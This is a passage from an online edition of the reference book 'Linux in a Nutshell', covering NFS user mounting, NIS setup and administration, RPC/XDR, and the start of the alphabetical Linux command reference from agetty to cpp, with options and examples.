Usually, only a privileged user can mount filesystems with NFS. However, you can enable users to mount and unmount selected filesystems using the mount and umount commands if the user option is set in /etc/fstab. This can reduce traffic by having filesystems mounted only when needed. To enable user mounting, create an entry in /etc/fstab for each filesystem to be mounted.

Previous | Home | Next
2.4. Overview of Firewalls and Masquerading | Book Index | 2.6. Overview of NIS
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overview of NIS (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

2.6. Overview of NIS

The Network Information System (NIS) refers to the service formerly known as Sun Yellow Pages (YP). It is used to make configuration information consistent on all machines in a network. It does this by designating a single host as the master of all the system administration files and databases and distributing this information to all other hosts on the network. The information is compiled into databases called maps. NIS is built on the RPC protocol. There are currently two NIS servers freely available for Linux, yps and ypserv.

2.6.1. Servers

In NIS, there are two types of servers -- master and slave servers. Master servers are responsible for maintaining the maps and distributing them to the slave servers. The files are then available locally to requesting processes.

2.6.2. Domains

An NIS domain is a group of hosts that use the same set of maps. The maps are contained in a subdirectory of /var/yp having the same name as the domain. The machines in a domain share password, hosts, and group file information. NIS domain names are set with the domainname command.

2.6.3. NIS Maps

NIS stores information in database files called maps. Each map consists of a pair of dbm database files, one containing a directory of keys (a bitmap of indices), and the other containing data values. The non-ASCII structure of dbm files necessitates using NIS tools such as yppush to move maps between machines.

The file /var/yp/YP_MAP_X_LATE contains a complete listing of active NIS maps as well as NIS aliases for NIS maps. All maps must be listed here in order for NIS to serve them.

2.6.4. Map Manipulation Utilities

The following utilities are used to administer NIS maps:

makedbm

Make dbm files. Modify only ypservers map and any nondefault maps.

ypinit

Build and install NIS databases. Manipulate maps when NIS is being initialized. Should not be used when NIS is already running.

yppush

Transfer updated maps from the master server.

Previous | Home | Next
2.5. Overview of NFS | Book Index | 2.7. Administering NIS
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Administering NIS (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

2.7. Administering NIS

NIS is enabled by setting up NIS servers and NIS clients. The descriptions given here describe NIS setup using ypserv, which does not support a master/slave server configuration. All NIS commands depend on the RPC portmap program, so make sure it is installed and running before setting up NIS.

2.7.1. Setting up an NIS server

Setting up an NIS server involves:

  1. Setting a domain name for NIS using domainname

  2. Editing the ypMakefile, which identifies which databases to build and what sources to use in building them

  3. Copying the ypMakefile to /var/yp/Makefile

  4. Running make from the /var/yp directory, which builds the databases and initializes the server

  5. Starting ypserv, the NIS server daemon

2.7.2. Setting up an NIS client

Setting up an NIS client involves setting the domain name for NIS using domainname, which should be the same name used by the NIS server, and running ypbind.

2.7.3. NIS User Accounts

NIS networks have two kinds of user accounts: distributed and local. Distributed accounts must be administered from the master machine; they provide information that is uniform on each machine in an NIS domain. Changes made to distributed accounts are distributed via NIS maps. Local accounts are administered from the local computer; they provide account information unique to a specific machine. They are not affected by NIS maps, and changes made to local accounts do not affect NIS. When NIS is installed, preexisting accounts default to local accounts.

Previous | Home | Next
2.6. Overview of NIS | Book Index | 2.8. RPC and XDR
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


RPC and XDR (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

2.8. RPC and XDR

RPC (Remote Procedure Call) is the session protocol used by both NFS and NIS. It allows a host to make a procedure call that appears to be local but is really executed remotely on another machine on the network. 11 RPC is implemented as a library of procedures, plus a network standard for ordering bytes and data structures called XDR (eXternal Data Representation).

Previous | Home | Next
2.7. Administering NIS | Book Index | 3. Linux Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Linux Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 3. Linux Commands

Contents:

Alphabetical Summary of Commands

This chapter presents the Linux user, programmer, and system administration commands. Each entry is labeled with the command name on the outer edge of the page. The syntax line is followed by a brief description and a list of available options. Many commands come with examples at the end of the entry. If you need only a quick reminder or suggestion about a command, you can skip directly to the examples.

Typographic conventions for describing command syntax are listed in the Preface. For help in locating commands, see the index at the back of this book.

We've tried to be as thorough as possible in listing options. The basic command information and most options should be correct; however, there are many Linux distributions and many versions of commands. New options are added and sometimes old options are dropped. You may, therefore, find some differences between the options you find described here and the ones on your system. When there seems to be a discrepancy, check the manpage. For most commands you can also use the option --help to get a brief usage message. (Even when it isn't a valid option, it will usually result in an "invalid option" error along with the usage message.)

Traditionally, commands take single-letter options preceded by a single hyphen, like -d. A more recent convention allows long options preceded by two hyphens, like --debug. Often, a feature can be invoked through either the old style or the new style of options.

3.1. Alphabetical Summary of Commands

agetty

agetty [options] port baudrate [term]

System administration command. The Linux version of getty. Set terminal type, modes, speed, and line discipline. agetty is invoked by init. It is the second process in the series init-getty-login-shell, which ultimately connects a user with the Linux system. agetty reads the user's login name and invokes the login command with the user's name as an argument. While reading the name, agetty attempts to adapt the system to the speed and type of device being used.

You must specify a port, which agetty will search for in the /dev directory. You may use -, in which case agetty reads from standard input. You must also specify baudrate, which may be a comma-separated list of rates, through which agetty will step. Optionally, you may specify the term, which is used to override the TERM environment variable.

Options

-h

Specify hardware, not software, flow control.

-i

Suppress printing of /etc/issue before printing the login prompt.

-l program

Specify the use of program instead of /bin/login.

-m

Attempt to guess the appropriate baud rate.

-t timeout

Specify that agetty should exit if the open on the line succeeds and there is no response to the login prompt in timeout seconds.

-L

Do not require carrier detect; operate locally only. Use this when connecting terminals.

apmd

apmd [options]

System administration command. apmd handles events reported by the Advanced Power Management BIOS driver. The driver reports on battery level and requests to enter sleep or suspend mode. apmd will log any reports it gets via syslogd and take steps to make sure that basic sleep and suspend requests are handled gracefully. You can fine-tune the behavior of apmd by specifying an apmd_proxy command to run when it receives an event.

Options

-c n, --check n

Set the number of seconds to wait for an event before rechecking the power level. Default is to wait indefinitely. Setting this causes the battery levels to be checked more frequently.

-P command, --apmd_prxy command

Specify the apmd_proxy command to run when APM driver events are reported. This is generally a shell script. The command will be invoked with parameters indicating what kind of event was received. The parameters are in the next list.

-p n, --percentage n

Log information whenever the power changes by n percent. The default is 5. Values greater than 100 will disable logging of power changes.

-V, --version

Print version and exit.

-v, --version

Verbose mode; all events are logged.

-W, --wall

Use wall to alert all users of a low battery status.

-w n, --warn n

Log a warning at ALERT level when the battery charge drops below n percent. The default is 10. Negative values disable low battery level warnings.

-q, --quiet

Disable low battery level warnings.

-?, --help

Print help summary and exit.

Parameters

The apmd proxy script will be invoked with the following parameters:

start

Invoked when the daemon starts.

stop

Invoked when the daemon stops.

suspend [ system | user ]

Invoked when a suspend request has been made. The second parameter indicates whether the request was made by the system or by the user.

standby [ system | user ]

Invoked when a standby request has been made. The second parameter indicates whether the request was made by the system or by the user.

resume [ suspend | standby | critical ]

Invoked when the system resumes normal operation. The second parameter indicates the mode the system was in before resuming. (critical suspends indicate an emergency shutdown. After a critical suspend the system may be unstable and you can use the resume command to help you recover from the suspension.

change power

Invoked when system power is changed from AC to battery or from battery to AC.

change battery

Invoked when the APM BIOS driver reports that the battery is low.

change capability

Invoked when the APM BIOS driver reports some hardware that affects its capability has been added or removed.

apropos

apropos string ...

Search the short manual page descriptions in the whatis database for occurrences of each string and display the result on the standard output. Like whatis, except that it searches for strings instead of words. Equivalent to man -k.

ar

ar [-V] key [args] [posname] archive [files]

Maintain a group of files that are combined into a file archive. Used most commonly to create and update library files as used by the link editor (ld). Only one key letter may be used, but each can be combined with additional args (with no separations between). posname is the name of a file in archive. When moving or replacing files, you can specify that they be placed before or after posname. -V prints the version number of ar on standard error.

Key

d

Delete files from archive.

m

Move files to end of archive.

p

Print files in archive.

q

Append files to archive.

r

Replace files in archive.

t

List the contents of archive or list the named files.

x

Extract contents from archive or only the named files.

Arguments

a

Use with r or m key to place files in the archive after posname.

b

Same as a but before posname.

c

Create archive silently.

f

Truncate long filenames.

i

Same as b.

l

For backward compatibility; meaningless in Linux.

o

Preserve original timestamps.

s

Force regeneration of archive symbol table (useful after running strip).

S

Do not regenerate symbol table.

u

Use with r to replace only files that have changed since being put in archive.

v

Verbose; print a description of actions taken.

Example

Replace mylib.a with object files from the current directory:

ar r mylib.a `ls *.o
arch

arch

Print machine architecture type to standard output. Equivalent to uname -m.

arp

arp [options]

TCP/IP command. Clear, add to, or dump the kernel's ARP cache (/proc/net/arp).

Options

-v

Verbose mode.

-t type

Search for type entries when examining the ARP cache. type must be ether (Ethernet) or ax25 (AX.25 packet radio); ether is the default.

-a [hosts]

Display hosts' entries or, if none are specified, all entries.

-d host

Remove host's entry.

-s host hardware-address

Add the entry host hardware-address, where ether class addresses are 6 hexadecimal bytes, colon-separated.

-f file

Read entries from file and add them.

as

as [options] files

Generate an object file from each specified assembly language source file. Object files have the same root name as source files but replace the .s suffix with .o. There may be some additional system-specific options.

Options

-- [ | files]

Read input files from standard input, or from files if the pipe is used.

-a[dhlns][=file]

With only the -a option, list source code, assembler listing, and symbol table. The other options specify additional things to list or omit:

-ad

Omit debugging directives.

-ah

Include the high-level source code, if available.

-al

Include an assembly listing.

-an

Suppress forms processing.

-as

Include a symbol listing.

=file

Set the listing filename to file.

-defsym symbol=value

Define the symbol to have the value value, which must be an integer.

-f

Skip preprocessing.

--gstabs

Generate stabs debugging information.

-o objfile

Place output in object file objfile (default is file.o).

-v

Display the version number of the assembler.

-I path

Include path when searching for .include directives.

-K

Warn before altering difference tables.

-L

Do not remove local symbols, which begin with L.

-R

Combine both data and text in text section.

-W

Quiet mode.

at

at [options] time

Execute commands at a specified time and optional date. The commands are read from standard input or from a file. (See also batch.) End input with EOF. time can be formed either as a numeric hour (with optional minutes and modifiers) or as a keyword. It can contain an optional date, formed as a month and date, a day of the week, or a special keyword (today or tomorrow). An increment can also be specified.

The at command can always be issued by a privileged user. Other users must be listed in the file /etc/at.allow if it exists; otherwise, they must not be listed in /etc/at.deny. If neither file exists, only a privileged user can issue the command.

Options

-c job [job...]

Display the specified jobs on the standard output. This option does not take a time specification.

-d job [job...]

Delete the specified jobs. Same as atrm.

-f file

Read job from file, not standard input.

-l

Report all jobs that are scheduled for the invoking user. Same as atq.

-m

Mail user when job has completed, regardless of whether output was created.

-q letter

Place job in queue denoted by letter, where letter is any single letter from a-z or A-Z. Default queue is a. (The batch queue defaults to b.) Higher-lettered queues run at a lower priority.

-V

Display the version number.

Time

hh:mm [modifiers]

Hours can have one digit or two (a 24-hour clock is assumed by default); optional minutes can be given as one or two digits; the colon can be omitted if the format is h, hh, or hhmm; (e.g., valid times are 5, 5:30, 0530, 19:45). If modifier am or pm is added, time is based on a 12-hour clock. If the keyword zulu is added, times correspond to Greenwich Mean Time.

midnight | noon | teatime | now

Use any one of these keywords in place of a numeric time. teatime translates to 4:00 p.m.; now must be followed by an increment.

Date

month num[, year]

month is one of the 12 months, spelled out or abbreviated to its first three letters; num is the calendar date of the month; year is the four-digit year. If the given month occurs before the current month, at schedules that month next year.

day

One of the seven days of the week, spelled out or abbreviated to its first three letters.

today | tomorrow

Indicate the current day or the next day. If date is omitted, at schedules today when the specified time occurs later than the current time; otherwise, at schedules tomorrow.

Increment

Supply a numeric increment if you want to specify an execution time or day relative to the current time. The number should precede any of the keywords minute, hour, day, week, month, or year (or their plural forms). The keyword next can be used as a synonym of + 1.

Examples

Note that the first two commands are equivalent:

at 1945 pm December 9
at 7:45pm Dec 9
at 3 am Saturday
at now + 5 hours
at noon next day

atq

atq [options]

List the user's pending jobs, unless the user is a privileged user; in that case, everybody's jobs are listed. Same as at -l.

Options

-q queue

Query only the specified queue and ignore all other queues.

-v

Show jobs that have completed but not yet been deleted.

-V

Print the version number.

atrm

atrm [options] job [job...]

Delete jobs that have been queued for future execution. Same as at -d.

Options

-q queue

Remove job from the specified queue.

-V

Print the version number and then exit.

badblocks

badblocks [options] device block-count

System administration command. Search device for bad blocks. You must specify the number of blocks on the device (block-count).

Options

-b blocksize

Expect blocksize-byte blocks.

-o file

Direct output to file.

-v

Verbose mode.

-w

Test by writing to each block and then reading back from it.

banner

banner [option] [characters]

Print characters as a poster. If no characters are supplied, banner prompts for them and reads an input line from standard input. By default, the results go to standard output, but they are intended to be sent to a printer.

Option

-w width

Set width to width characters. Note that if your banner is in all lowercase, it will be narrower than width characters. If -w is not specified, the default width is 132. If -w is specified but width is not provided, the default is 80.

Example

/usr/games/banner -w50 Happy Birthday! |lpr
basename

basename name [suffix]

basename option

Remove leading directory components from a path. If suffix is given, remove that also. The result is printed to standard output.

Options

--help

Print help message and then exit.

--version

Print the version number and then exit.

Examples

% basename /usr/lib/libm.a
libm.a

% basename /usr/lib/libm.a .a
libm
batch

batch [options] [time]

Execute commands entered on standard input. If time is omitted, execute them when the system load permits (when the load average falls below 0.8). Very similar to at, but does not insist that the execution time be entered on the command line. See at for details.

Options

-f file

Read job from file, not standard input.

-m

Mail user when job has completed, regardless of whether output was created.

-q letter

Place job in queue denoted by letter, where letter is one letter from a-z or A-Z. The default queue is a. (The batch queue defaults to b.) Higher-lettered queues run at a lower priority.

-V

Print the version number and then exit.

-v

Display the time a job will be executed.

bash

bash [options] [file [arguments;]]

sh [options] [file [arguments]]

Standard Linux shell, a command interpreter into which all other commands are entered. For more information, see Chapter 7, "bash: The Bourne-Again Shell".

bc

bc [options] [files]

bc is a language (and compiler) whose syntax resembles that of C, but with unlimited-precision arithmetic. bc consists of identifiers, keywords, and symbols, which are briefly described in the following entries. Examples are given at the end.

Interactively perform arbitrary-precision arithmetic or convert numbers from one base to another. Input can be taken from files or read from the standard input. To exit, type quit or EOF.

Options

-l, --mathlib

Make functions from the math library available.

-s, --standard

Ignore all extensions, and process exactly as in POSIX.

-w, --warn

When extensions to POSIX bc are used, print a warning.

-q, --quiet

Do not display welcome message.

-v, --version

Print version number.

Identifiers

An identifier is a series of one or more characters. It must begin with a lowercase letter but may also contain digits and underscores. No uppercase letters are allowed. Identifiers are used as names for variables, arrays, and functions. Variables normally store arbitrary-precision numbers. Within the same program you may name a variable, an array, and a function using the same letter. The following identifiers would not conflict:

x

Variable x.

x[i]

Element i of array x. i can range from 0 to 2047 and can also be an expression.

x(y,z)

Call function x with parameters y and z.

Input-output keywords

ibase, obase, scale, and last store a value. Typing them on a line by themselves displays their current value. You can also change their values through assignment. The letters A-F are treated as digits whose values are 10-15.

ibase = n

Numbers that are input (e.g., typed) are read as base n (default is 10).

obase = n

Numbers that are displayed are in base n (default is 10). Note: Once ibase has been changed from 10, use A to restore ibase or obase to decimal.

scale = n

Display computations using n decimal places (default is 0, meaning that results are truncated to integers). scale is normally used only for base-10 computations.

last

Value of last printed number.

Statement keywords

A semicolon or a newline separates one statement from another. Curly braces are needed when grouping multiple statements.

if (rel-expr) {statements} [else {statements}]

Do one or more statements if relational expression rel-expr is true. Otherwise, do nothing, or if else (an extension) is specified, do alternative statements. For example:

     if(x==y) {i = i + 1} else {i = i - 1}
while (rel-expr) {statements}

Repeat one or more statements while rel-expr is true; for example:

     while(i>0) {p = p*n; q = a/b; i = i-1}
for (expr1;rel-expr;expr2) {statements}

Similar to while; for example, to print the first 10 multiples of 5, you could type:

     for(i=1; i<=10; i++) i*5

GNU bf does not require three arguments to for. A missing argument 1 or 3 means that those expressions will never be evaluated. A missing argument 2 evaluates to the value 1.

break

Terminate a while or for statement.

print list

GNU extension. It provides an alternate means of output. list consists of a series of comma-separated strings and expressions; print displays these entities in the order of the list. It does not print a newline when it terminates. Expressions are evaluated, printed, and assigned to the special variable last. Strings (which may contain special characters, i.e., characters beginning with \) are simply printed. Special characters can be:

a

Alert or bell

b

Backspace

f

Form feed

n

Newline

r

Carriage return

q

Double quote

t

Tab

\

Backslash

continue

GNU extension. When within a for statement, jump to the next iteration.

halt

GNU extension. Cause the bc processor to quit.

limits

GNU extension. Print the limits enforced by the local version of bc.

Function keywords

define f(args) {

Begin the definition of function f having the arguments args. The arguments are separated by commas. Statements follow on successive lines. End with a }.

auto x, y

Set up x and y as variables local to a function definition, initialized to 0 and meaningless outside the function. Must appear first.

return(expr)

Pass the value of expression expr back to the program. Return 0 if (expr) is left off. Used in function definitions.

sqrt(expr)

Compute the square root of expression expr.

length(expr)

Compute how many significant digits are in expr.

scale(expr)

Same as length, but count only digits to the right of the decimal point.

read( )

GNU extension. Read a number from standard input. Return value is the number read, converted via the value of ibase.

Math library functions

These are available when bc is invoked with -l. Library functions set scale to 20.

s(angle)

Compute the sine of angle, a constant or expression in radians.

c(angle)

Compute the cosine of angle, a constant or expression in radians.

a(n)

Compute the arctangent of n, returning an angle in radians.

e(expr)

Compute e to the power of expr.

l(expr)

Compute the natural log of expr.

j(n, x)

Compute the Bessel function of integer order n.

Operators

These consist of operators and other symbols. Operators can be arithmetic, unary, assignment, or relational:

arithmetic

+ - * / % ^

unary

- ++ --

assignment

=+ =- =* =/ =% =^ =

relational

< <= > >= == !=

Other symbols

/* */

Enclose comments.

()

Control the evaluation of expressions (change precedence). Can also be used around assignment statements to force the result to print.

{}

Use to group statements.

[]

Indicate array index.

"text"

Use as a statement to print text.

Examples

Note in these examples that when you type some quantity (a number or expression), it is evaluated and printed, but assignment statements produce no display.

ibase = 8       Octal input
20              Evaluate this octal number
16              Terminal displays decimal value
obase = 2       Display output in base 2 instead of base 10
20              Octal input
10000           Terminal now displays binary value
ibase = A       Restore base-10 input
scale = 3       Truncate results to 3 decimal places
8/7             Evaluate a division
1.001001000     Oops!  Forgot to reset output base to 10
obase=10        Input is decimal now, so A isn't needed
8/7
1.142           Terminal displays result (truncated)

The following lines show the use of functions:

define p(r,n){  Function p uses two arguments
auto v          v is a local variable
v = r^n         r raised to the n power
return(v)}      Value returned

scale=5
x=p(2.5,2)      x = 2.5 ^ 2
x               Print value of x
6.25
length(x)       Number of digits
3
scale(x)        Number of places right of decimal point
2

biff

biff [arguments]

Notify user of mail arrival and sender's name. biff operates asynchronously. Mail notification works only if your system is running the comsat(8) server. The command biff y enables notification, and the command biff n disables notification. With no arguments, biff reports biff's current status.

bison

bison [options] file

Given a file containing context-free grammar, convert into tables for subsequent parsing while sending output to file.c. This utility is both to a large extent compatible with yacc and named for it. All input files should use the suffix .y; output files will use the original prefix. All long options (those preceded by --) may instead be preceded by +.

Options

-b prefix, --file-prefix=prefix

Use prefix for all output files.

-d, --defines

Generate file.h, producing #define statements that relate bison's token codes to the token names declared by the user.

-r, --raw

Use bison token numbers, not yacc-compatible translations, in file.h.

-k, --token-table

Include token names and values of YYNTOKENS, YYNNTS, YYNRULES, and YYNSTATES in file.c.

-l, --no-lines

Exclude #line constructs from code produced in file.c. (Use after debugging is complete.)

-n, --no-parser

Suppress parser code in output, allowing only declarations. Assemble all translations into a switch statement body and print it to file.act.

-o file, --output-file=file

Output to file.

-p prefix, --name-prefix=prefix

Substitute prefix for yy in all external symbols.

-t, --debug

Compile runtime debugging code.

-v, --verbose

Verbose mode. Print diagnostics and notes about parsing tables to file.output.

-V, --version

Display version number.

-y, --yacc, --fixed-output-files

Duplicate yacc's conventions for naming output files.

bootpd

bootpd [options] [configfile [dumpfile] ]

TCP/IP command. Internet Boot Protocol server. bootpd normally is run by /etc/inetd by including the following line in the file /etc/inetd.conf:

bootps dgram udp wait root /etc/bootpd bootpd

This causes bootpd to be started only when a boot request arrives. It may also be started in standalone mode, from the command line. Upon startup, bootpd first reads its configuration file, /etc/bootptab (or the configfile listed on the command line), then begins listening for BOOTREQUEST packets.

bootpd looks in /etc/services to find the port numbers it should use. Two entries are extracted: bootps -- the bootp server listening port -- and bootpc -- the destination port used to reply to clients.

If bootpd is compiled with the -DDEBUG option, receipt of a SIGUSR1 signal causes it to dump its memory-resident database to the file /etc/bootpd.dump or the command-line specified dumpfile.

Options

-c directory

Force bootpd to work in directory.

-d level

Specify the debugging level. Omitting level will increment the level by 1.

-t timeout

Specify a timeout value in minutes. A timeout value of 0 means wait forever.

Configuration file

The bootpd configuration file has a format in which two-character, case-sensitive tag symbols are used to represent host parameters. These parameter declarations are separated by colons. The general format is:

hostname:tg=value:tg=value:tg=value

where hostname is the name of a bootp client and tg is a tag symbol. The currently recognized tags are listed next.

Tags

Tag | Meaning
bf | Bootfile
bs | Bootfile size in 512-octet blocks
cs | Cookie server address list
ds | Domain name server address list
gw | Gateway address list
ha | Host hardware address
hd | Bootfile home directory
hn | Send hostname
ht | Host hardware type (see Assigned Numbers RFC)
im | Impress server address list
ip | Host IP address
lg | Log server address list
lp | lpr server address list
ns | IEN-116 name server address list
rl | Resource location protocol server address list
sm | Host subnet mask
tc | Table continuation
to | Time offset in seconds from UTC
ts | Time server address list
vm | Vendor magic cookie selector

There is also a generic tag, T n, where n is an RFC 1048 vendor field tag number. Generic data may be represented as either a stream of hexadecimal numbers or as a quoted string of ASCII characters.

bootpgw

bootpgw [options] server

Internet Boot Protocol Gateway. Maintain a gateway that forwards bootpd requests to server. In addition to dealing with BOOTREPLY packets, also deal with BOOTREQUEST packets. bootpgw is normally run by /etc/inetd by including the following line in the file /etc/inetd.conf:

bootps dgram udp wait root /etc/bootpgw bootpgw

This causes bootpgw to be started only when a boot request arrives. bootpgw takes all the same options as bootpd, except -c.

bootptest

bootptest [options] server [template]

TCP/IP command. Test server's bootpd daemon by sending requests every second for 10 seconds or until the server responds. Read options from the template file, if provided.

Options

-f file

Read the boot filename from file.

-h

Identify client by hardware, not IP, address.

-m magic-number

Provide magic-number as the first word of the vendor options field.

bzip2

bzip2 [options] filenames

bunzip2 [options] filenames

bzcat [option] filenames

bzip2recover filenames

File compression and decompression utility similar to gzip, but uses a different algorithm and encoding method to get better compression. bzip2 replaces each file in filenames with a compressed version of the file and with a .bz2 extension appended. bunzip2 decompresses each file compressed by bzip2 (ignoring other files, except to print a warning). bzcat decompresses all specified files to standard output, and bzip2recover is used to try to recover data from damaged files.

Options

--

End of options; treat all subsequent arguments as filenames.

-dig

Set block size to dig × 100KB when compressing, where dig is a single digit from 1 to 9.

-c, --stdout

Compress or decompress to standard output.

-d, --decompress

Force decompression.

-f, --force

Force overwrite of output files. Default is not to overwrite. Also forces breaking of hard links to files.

-k, --keep

Keep input files; don't delete them.

-L, --license, -V, --version

Print license and version information and exit.

-q, --quiet

Quiet. Print only critical messages.

-s, --small

Use less memory, at the expense of speed.

-t, --test

Check the integrity of the files, but don't actually compress them.

-v, --verbose

Verbose. Show the compression ratio for each file processed. Add more -v's to increase the verbosity.

-z, --compress

Forces compression, even if invoked as bunzip2 or bzcat.

--repetitive-fast, --repetitive-best

Sometimes useful in versions earlier than 0.9.5 (which has an improved sorting algorithm) for providing some control over the algorithm.

c++

c++ [options] files

See g++.

cal

cal [-jy] [[month] year]

Print a 12-month calendar (beginning with January) for the given year or a one-month calendar of the given month and year. month ranges from 1 to 12. year ranges from 1 to 9999. With no arguments, print a calendar for the current month.

Options

-j

Display Julian dates (days numbered 1 to 365, starting from January 1).

-m

Display Monday as the first day of the week.

-y

Display entire year.

Examples

cal 12 1995
cal 1994 > year_file
cardctl

cardctl [options] command

System administration command. Control PCMCIA sockets or select the current scheme. The current scheme is sent along with the address of any inserted cards to configuration scripts (by default located in /etc/pcmcia). The scheme command displays or changes the scheme. The other commands operate on a named card socket number or, if no number is given, all sockets.

Commands

config [socket]

Display current socket configuration.

eject [socket]

Prepare the system for the card(s) to be ejected.

ident [socket]

Display card identification information.

insert [socket]

Notify system that a card has been inserted.

reset [socket]

Send reset signal to card.

resume [socket]

Restore power to socket and reconfigure for use.

scheme [name]

Display current scheme or change to specified scheme name.

status [socket]

Display current socket status.

suspend [socket]

Shut down device and cut power to socket.

Options

-c directory

Look for card configuration information in directory instead of /etc/pcmcia.

-f file

Use file to keep track of the current scheme instead of /var/run/pcmcia-scheme.

-s file

Look for current socket information in file instead of /var/run/stab.

cardmgr

cardmgr [options]

System administration command. The PCMCIA card daemon. cardmgr monitors PCMCIA sockets for devices that have been added or removed. When a card is detected, it attempts to get the card's ID and configure it according to the card configuration database (usually stored in /etc/pcmcia/config). By default, cardmgr both creates a system log entry when it detects cards and beeps. Two high beeps mean it successfully identified and configured a device. One high beep followed by one low beep means it identified the device, but was unable to configure it successfully. One low beep means it could not identify the inserted card. Information on the currently configured cards can be found in /var/run/stab.

Options

-c directory

Look in directory for the card configuration database instead of /etc/pcmcia.

-d

use modprobe instead of insmod to load the PCMCIA device driver.

-f

Run in the foreground to process the current cards, then run as a daemon.

-m directory

Look in directory for card device modules instead of /lib/modules/ `uname -r`.

-o

Configure the cards present in one pass, then exit.

-p file

Write cardmgr's process ID to file instead of /var/run/cardmgr.pid.

-q

Run in quiet mode. No beeps.

-s file

Write current socket information to file instead of /var/run/stab.

-v

Verbose mode.

-V

Print version number and exit.

cat

cat [options] [files]

Read (concatenates) one or more files and print them on standard output. Read standard input if no files are specified or if - is specified as one of the files; input ends with EOF. You can use the > operator to combine several files into a new file or >> to append files to an existing file.

Options

-A, --show-all

Same as -vET.

-b, --number-nonblank

Number all nonblank output lines, starting with 1.

-e

Same as -vE.

-E, --show-ends

Print $ at the end of each line.

-n, --number

Number all output lines, starting with 1.

-s, --squeeze-blank

Squeeze down multiple blank lines to one blank line.

-t

Same as -vT.

-T, --show-tabs

Print TAB characters as ^I.

-u

Ignored; retained for Unix compatibility.

-v, --show-nonprinting

Display control and nonprinting characters, with the exception of LINEFEED and TAB.

Examples

cat ch1               Display a file
cat ch1 ch2 ch3 > all Combine files
cat note5 >> notes    Append to a file
cat > temp1           Create file at terminal; end with EOF
cat > temp2 << STOP   Create file at terminal; end with STOP
cc

cc [options] files

See gcc.

cpp

cpp [options] [ ifile [ ofile ] ]

GNU C language preprocessor. cpp is invoked as the first pass of any C compilation by the gcc command. The output of cpp is a form acceptable as input to the next pass of the C compiler, and cpp normally invokes gcc after it finishes processing. ifile and ofile are, respectively, the input and output for the preprocessor; they default to standard input and standard output.

Options

-$

Do not allow $ in identifiers.

-dM

Suppress normal output. Print series of #defines that create the macros used in the source file.

-dD

Similar to -dM but exclude predefined macros and include results of preprocessing.

-idirafter dir

Search dir for header files when a header file is not found in any of the included directories.

-imacros file

Process macros in file before processing main files.

-include file

Process file before main file.

-iprefix prefix

When adding directories with -iwithprefix, prepend prefix to the directory's name.

-iwithprefix dir

Append dir to the list of directories to be searched when a header file cannot be found in the main include path. If -iprefix has been set, prepend that prefix to the directory's name.

-lang-c, -lang-c++, -lang-objc, -lang-objc++

Expect the source to be in C, C++, Objective C, or Objective C++, respectively.

-lint

Display all lint commands in comments as #pragma lint command.

-nostdinc

Search only specified, not standard, directories for header files.

-nostdinc++

Suppress searching of directories believed to contain C++-specific header files.

-pedantic

Warn verbosely.

-pedantic-errors

Produce a fatal error in every case in which -pedantic would have produced a warning.

-traditional

Behave like traditional C, not ANSI.

-undef

Suppress definition of all nonstandard macros.

-A name[=def]

Assert name with value def as if defined by a #assert.

-C

Pass along all comments (except those found on cpp directive lines). By default, cpp strips C-style comments.

-D name[=def]

Define name with value def as if by a #define. If no =def is given, name is defined with value 1. -D has lower precedence than -U.

-H

Print pathnames of included files, one per line, on standard error.

-I dir

Search in directory dir for #include files whose names do not begin with / before looking in directories on standard list. #include files whose names are enclosed in double quotes and do not begin with / will be searched for first in the current directory, then in directories named on -I options, and last in directories on the standard list.

-M [-MG]

Suppress normal output. Print a rule for make that describes the main source file's dependencies. If -MG is specified, assume that missing header files are actually generated files, and look for them in the source file's directory.

-MD file

Similar to -M, but output to file; also compile the source.

-MM

Similar to -M. Describe only those files included as a result of #include "file".

-MMD file

Similar to -MD, but describe only the user's header files.

-P

Preprocess input without producing line-control information used by next pass of C compiler.

-U name

Remove any initial definition of name, where name is a reserved symbol predefined by the preprocessor or a name defined on a -D option. Names predefined by cpp are unix and i386 (for Intel systems).

-Wcomment, -Wcomments

Warn when encountering the beginning of a nested comment.

-Wtraditional

Warn when encountering constructs that are interpreted differently in ANSI from traditional C.

Special names

cpp understands various special names, some of which are:

__DATE__

Current date (e.g., Oct 10 1999)

__FILE__

Current filename (as a C string)

__LINE__

Current source line number (as a decimal integer)

__TIME__

Current time (e.g., 12:00:00)

These special names can be used anywhere, including macros, just like any other defined names. cpp's understanding of the line number and filename may be changed using a #line directive.

Directives

All cpp directive lines start with # in column 1. Any number of blanks and tabs is allowed between the # and the directive. The directives are:

#assert name (string)

Define a question called name, with an answer of string. Assertions can be tested with #if directives. The predefined assertions for #system, #cpu, and #machine can be used for architecture-dependent changes.

#unassert name

Remove assertion for question name.

#define name token-string

Define a macro called name, with a value of token-string. Subsequent instances of name are replaced with token-string.

#define name( arg, ... , arg ) token-string

This allows substitution of a macro with arguments. token-string will be substituted for name in the input file. Each call to name in the source file includes arguments that are plugged into the corresponding args in token-string.

#undef name

Remove definition of the macro name. No additional tokens are permitted on the directive line after name.

#ident string

Put string into the comment section of an object file.

#include "filename", #include<filename>

Include contents of filename at this point in the program. No additional tokens are permitted on the directive line after the final " or >.

#line integer-constant "filename"

Cause cpp to generate line-control information for the next pass of the C compiler. The compiler behaves as if integer-constant is the line number of the next line of source code and filename (if present) is the name of the input file. No additional tokens are permitted on the directive line after the optional filename.

#endif

End a section of lines begun by a test directive (#if, #ifdef, or #ifndef). No additional tokens are permitted on the directive line.

#ifdef name

Lines following this directive and up to matching #endif or next #else or #elif will appear in the output if name is currently defined. No additional tokens are permitted on the directive line after name.

#ifndef name

Lines following this directive and up to matching #endif or next #else or #elif will appear in the output if name is not currently defined. No additional tokens are permitted on the directive line after name.

#if constant-expression

Lines following this directive and up to matching #endif or next #else or #elif will appear in the output if constant-expression evaluates to nonzero.

#elif constant-expression

